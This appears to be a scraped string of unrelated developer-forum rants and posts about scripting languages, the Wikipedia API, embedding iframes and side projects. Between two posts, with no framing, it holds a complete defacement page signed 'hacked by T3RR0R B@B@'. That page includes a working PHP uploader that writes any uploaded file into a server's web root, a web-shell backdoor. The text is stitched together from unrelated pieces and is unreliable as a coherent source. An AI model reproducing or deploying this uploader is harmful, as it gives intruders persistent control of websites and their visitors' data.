EEEEEEEEEEEE Some fAcking languages!! Actually barfs while using this trashdump!

The gist: new job, position required adv C# knowledge (like f yea, one of my fav languages), we are working with RPA (using software robots to automate stuff), and we are using some new robot still in beta phase, but robot has its own prog lang.

The problem:
- this language is kind of like ASM (i think so, I'm venting here, it's ASM OK), with syntax that burns your eyes
- no function return values, but I can live with that, at least they have some sort of functions
- emojies for identifiers (like php's $var, but they only aim for shitty features so you use a heart.. ♥var)
- only jump and jumpif for control flow
- no foopin variable scopes at all (if you run multiple scripts at the same time they even share variables *pukes*)
- weird alt characters everywhere. define strings with regular quotes? nah let's be [some mental illness] and use prime quotes (‴ U+2034), and like ⟦ ⟧ for array indexing, but only sometimes!
- super slow interpreter, ex a regular loop to count to 10 (using jumps because yea no actual loops) takes more than 20 seconds to execute, approx 700ms to run 1 code row.
- it supports c# snippets (defined with these stupid characters: ⊂ ⊃) and I guess that's the only c# I get to write with this job :^}
- on top of that, outdated documentation, because yea it's beta, but so crappin tedious with this trail n error to check how every feature works

The question: why in the living fartfaces yolk would you even make a new language when it's so easy nowadays to embed compilers!?! the robot is apparently made in c#, so it should be no funcking problem at all to add a damn lua compiler or something. having a tcp api would even be easier got dammit!!! And what in the world made our company think this robot was a plausible choice?! Did they do a full fubbing analysis of the different software robots out there and accidentally sorted by ease of use in reverse order?? 'cause that's the only explanation i can imagine

Frillin stupid shitpile of a language!!! AAAAAHHH

see the attached screenshot of production code we've developed at the company for reference.

Disclaimer: I do not stand responsible for any eventual headaches or gauged eyes caused by the named image.

(for those interested, the robot is G1ANT.Robot, https://beta.g1ant.com/)

So I just spent the last few hours trying to get an intro of given Wikipedia articles into my Telegram bot. It turns out that Wikipedia does have an API! But unfortunately it's born as a retard.

First I looked at https://www.mediawiki.org/wiki/API and almost thought that that was a Wikipedia article about API's. I almost skipped right over it on the search results (and it turns out that I should've). Upon opening and reading that, I found a shitload of endpoints that frankly I didn't give a shit about. Come on Wikipedia, just give me the fucking data to read out.

Ctrl-F in that page and I find a tiny little link to https://mediawiki.org/wiki/... which is basically what I needed. There's an example that.. gets the data in XML form. Because JSON is clearly too much to ask for. Are you fucking braindead Wikipedia? If my application was able to parse XML/HTML/whatevers, that would be called a browser. With all due respect but I'm not gonna embed a fucking web browser in a bot. I'll leave that to the Electron "devs" that prefer raping my RAM instead.

OK so after that I found on third-party documentation (always a good sign when that's more useful, isn't it) that it does support JSON. Retardpedia just doesn't use it by default. In fact in the example query that was a parameter that wasn't even in there. Not including something crucial like that surely is a good way to let people know the feature is there. Massive kudos to you Wikipedia.. but not really. But a parameter that was in there - for fucking CORS - that was in there by default and broke the whole goddamn thing unless I REMOVED it. Yeah because CORS is so useful in a goddamn fucking API.

So I finally get to a functioning JSON response, now all that's left is parsing it. Again, I only care about the content on the page. So I curl the endpoint and trim off the bits I don't need with jq... I was left with this monstrosity.

curl "https://en.wikipedia.org/w/api.php/...=*" | jq -r '.query.pages[0].revisions[0].slots.main.content'

Just how far can you nest your JSON Wikipedia? Are you trying to find the limits of jq or something here?!

And THEN.. as an icing on the cake, the result doesn't quite look like JSON, nor does it really look like XML, but it has elements of both. I had no idea what to make of this, especially before I had a chance to look at the exact structured output of that command above (if you just pipe into jq without arguments it's much less readable).

Then a friend of mine mentioned Wikitext. Turns out that Wikipedia's API is not only retarded, even the goddamn output is. What the fuck is Wikitext even? It's the Apple of wikis apparently. Only Wikipedia uses it.

And apparently I'm not the only one who found Wikipedia's API.. irritating to say the least. See e.g. https://utcc.utoronto.ca/~cks/...

Needless to say, my bot will not be getting Wikipedia integration at this point. I've seen enough. How about you make your API not retarded first Wikipedia? And hopefully this rant saves someone else the time required to wade through this clusterfuck.

http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}

.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>

<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://&quot;.$_SERVER[&#039;HTTP_HOST&#039;].&quot;/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>

<!DOCTYPE html>
<html>
<title>K.I.T.A</title>

<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>

<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;

this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">

<embed src="https://youtube.com/v/tec_KllmOH4/...

<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>

I made a thing.

I then turned it into a CodeSandbox template so other people could make the thing.

I then turned it into an npm package.

The thing is a cat clock generator.

https://codesandbox.io/embed/...

https://npmjs.com/package/...

So apparently GitHub now allows you to embed any gist in any given programming language as JavaScript code.

For example
https://gist.github.com/psdtohtml5/...

will be

<script src="https://gist.github.com/psdtohtml5/..."></script>

thoughts? is GitHub another CDN?

I got to thinking it might be nice to have my own personal fingerprint reader. I could carry it with me and hook to my work computer for tasks such as sudo and login. At home I could login. I figured there ought to be some nice cross platform devices... Oh hell fuck no. Its all Windows shit. Most of them say windows 10 and usually say don't work on Linux, Mac, or Android.

So I think I am going to hack my own:
https://amazon.com/FlashTree-Optica...=
https://amazon.com/Seeeduino-Smalle...==

I have a 3d printer that I can use to enclose this and make it look nice and personalized. I can embed any kind of functionality I want to make this work.

Manufacturers: STOP MAKING SHITTY WINDOWS ONLY HARDWARE!

Got a question guys!
I want to capture screenshots from a live video stream being broadcast over HTTPS, such as the one on this link:
https://open.ivideon.com/embed/v2/...=
I can do it locally using the chrome webdriver in selenium, but cannot reproduce the same in a server I'm accessing remotely. I tried using headless browsers like phantomJS, but apparently it doesn't support video players -_-
I'm confused because I don't even know what to search for anymore, I've been stuck with this one thing for the last 17 hours. Any help would be greatly appreciated!

I wish it was easier to embed devRant avatars 🤔

I mean I know I could use the API to receive the avatar (haven't looked into it yet) or even scratch it off profile pages, but something like
"https://avatars.devrant.com/USERNAM..."
would be much nicer I think 😋.

Any thoughts?

I'm too retarded to understand how the fuck to get iframes (of other pages on our site) somebody wrote in the past in our code base to not become the page (the original has 2 other pages on our site "embedded") https://cheatsheetseries.owasp.org/...

I don't even fucking understand if I implemented the recommended framekiller code correctly, but it fucks shit up like the not recommended framekiller code so I'll settle for it. I also enjoyed (actually I didn't) reading about how this javascript framekiller stuff is fucking stupid anyway and mainly only applicable for old legacy browsers (in which case go fuck yourself anyway, just use a modern browser which benefits with from the x-header-options whatever the fuck, which was easier to implement and juSt WeRKs)

Guess I have no choice but to write AJAX to do this dumbass shit.

It's a shame I have no fucking clue how to fuckign front end

So I already posted about this a couple of months ago, but I'm still working on my little game, Lore Seeker.

https://apps.apple.com/jp/app/...

I added a bunch of stuff - cards are now divided into 4 factions, and I added a whole slew of different abilities. It's getting pretty close to what I envisioned when I started imo. I also ported it from iPhone to Mac Os X, so if you have a mac you can do me a huge favor by checking it out and giving me a rating! I don't think the mac os app store gets any traffic though.

I have no idea if anyone actually wants to play this thing even if I add a million levels/cards but I'm just continuing to work on it and improving it hoping someone will notice eventually.

The most common question I get seems to be "where's android", so I've been messing around with android studio trying to figure out the basics. I have a tiny platform layer of Swift code that doesn't do much, and most of my code is in C++. So I just need to learn how to embed C++ code and then duplicate a small platform layer. I thought I could just jump into that and 'wing it' but I'm starting to think I will have to actually do some studying to figure out how android works... seems pretty confusing so far.

Anyway, thanks for any comments / advice / disses! <333

Fuck social media websites that don't allow you to embed their content with a simple iframe

Good example 👍 :
<iframe src="https://youtube.com/embed/..." allow="..." allowfullscreen></iframe>

Bad example 👎:
<blockquote class="reddit-card" ...><a href="https://www.reddit.com/r/.../...">...</a></blockquote>
<script async src="//embed.redditmedia.com/widgets/platform.js"></script>

NO I DON'T WANT TO RUN YOUR 100kb JAVASCRIPT FILE WITH FULL PERMISSIONS ON MY WEBSITE JUST TO DISPLAY 1 SENTENCE AND 1 IMAGE. WHO KNOWS WHAT OTHER NASTY THINGS IT MIGHT LOAD IN IN THE FUTURE.
With an iframe it's at least somewhat contained.

Tired of having to copy-paste channel names in YouTube stream live chat for proper mentioning? Here's the thing for you.
https://greasyfork.org/en/scripts/...
Use Violentmonkey or Tampermonkey to embed this userscript.

Also, fuck you, YouTube. Fix your shit already!